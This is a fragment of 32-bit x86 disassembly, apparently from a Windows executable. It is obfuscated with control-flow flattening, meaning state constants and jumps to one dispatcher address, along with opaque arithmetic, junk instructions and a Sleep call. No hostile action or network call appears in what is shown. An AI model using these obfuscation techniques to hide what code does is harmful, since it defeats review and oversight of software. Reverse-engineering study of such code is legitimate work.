mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
sub eax, 0x751b71ec
add eax, ecx
add eax, 0x751b71ec
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x194]
mov eax, dword [eax + 4]
add eax, 0xc7d0091c
sub eax, 8
sub eax, 0xc7d0091c
shr eax, 1
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x194]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 8
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1e8], 0x3e9eca60
jmp 0x414292
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
sub eax, 0x5a403579
add eax, ecx
mov ecx, dword [eax + 0x5a403579]
mov edx, dword [ebp - 0xfc]
mov edx, dword [ebp - 0xfc]
mov edx, dword [ebp - 0xfc]
mov esi, dword [ebp - 0xfc]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov dword [eax + 0x5a403579], ecx
mov dword [ebp - 0x1e8], 0x258d1b43
jmp 0x414292
mov dword [ebp - 0x1e8], 0x9fa0f90c
jmp 0x414292
mov dword [ebp - 0x1e8], 0x583b2e00
jmp 0x414292
mov dword [ebp - 0x1e8], 0xfa027dba
jmp 0x414292
mov dword [ebp - 0x1e8], 0x1f96310e
jmp 0x414292
mov dword [ebp - 0x1e8], 0x2e6e49b
jmp 0x414292
mov dword [ebp - 0x1e8], 0x38f47a87
jmp 0x414292
mov eax, dword [ebp - 0x1cc]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1e8], 0xe62de8ae
jmp 0x414292
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [ebp - 0x164]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x1e8], 0x2ed56869
jmp 0x414292
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x164]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x1e8], 0xd92d4ad5
jmp 0x414292
mov dword [ebp - 0x1e8], 0x32875b46
jmp 0x40f7a9